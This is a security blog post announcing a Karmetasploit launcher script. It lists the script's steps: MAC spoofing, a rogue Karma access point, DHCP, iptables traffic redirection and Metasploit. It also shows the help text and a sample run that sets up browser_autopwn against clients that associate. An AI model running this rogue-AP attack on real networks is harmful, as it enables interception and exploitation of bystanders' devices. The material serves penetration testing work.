Security and Networking

http://www.darkoperator.com/kmsapng.tgz

The script will do the following:
- Change the MAC address of the interface
- Set the Interface in Monitor Mode
- Start the Karma AP with Airbase-ng
- Change the MTU Size for the interface
- Set the IP
- Start the DHCPD server
- Set in iptables a redirect of all traffic to it self so as to bypass cached DNS entries
- Start Metasploit.

The script will crate a log file in /root called karma.log, as well as a sqlite db and a capture file all in the same folder.

here is a preview of the script and its option, I posted this same entry in the remote-exploit forums and the Pauldotcom forums and have received very good feedback on it.

bt ~ # ./kmsapng.sh -h
Karmetasploit AP launcher by Carlos Perez for Backtrack3
Version 0.2
carlos_perez[at]darkoperator.com
usage: kmsap.sh

Options:
-m : Mode, either km for regular karmetasploit attack
or kmf for filtered attack where only targeted
clients can associate to the fake AP.
-i : Interface supported by aircrack-ng for injection
-f : Text file with mac addresses of client computers
permited to connect to the fake AP.
-s : SSID name used as the initial broadcast
-h : This help message

Note: mode and interface are required for both type of attacks

Example:

bt ~ # ./kmsapng.sh -i wlan0 -m km -s linksys
Changing MAC Address
Current MAC: 00:0f:c1:08:12:91 (Wave Corporation)
Faked MAC: 00:40:1b:5b:b0:0b (Printer Systems Corp.)
starting fake ap
This will take 15 seconds ..............
DHCPD started successfully
Starting Packet capture to /root/kms.cap
Starting Metasploit

_
| | o
_ _ _ _ _|_ __, , _ | | __ _|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|

=[ msf v3.2-testing
+ -- --=[ 288 exploits - 124 payloads
+ -- --=[ 17 encoders - 6 nops
=[ 56 aux

resource> load db_sqlite3
[*] Successfully loaded plugin: db_sqlite3
resource> db_create /root/karma.db
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
resource> setg AUTOPWN_PORT 55550
AUTOPWN_PORT => 55550
resource> setg AUTOPWN_URI /ads
AUTOPWN_URI => /ads
resource> set LHOST 10.0.0.1

......................................

I have tested the script using Ralink 2570, Realtek 8187L and Atheros cards. Let me know if you guys like it and if you have any recommendations. The script is heavily commented in case you whant to take a look.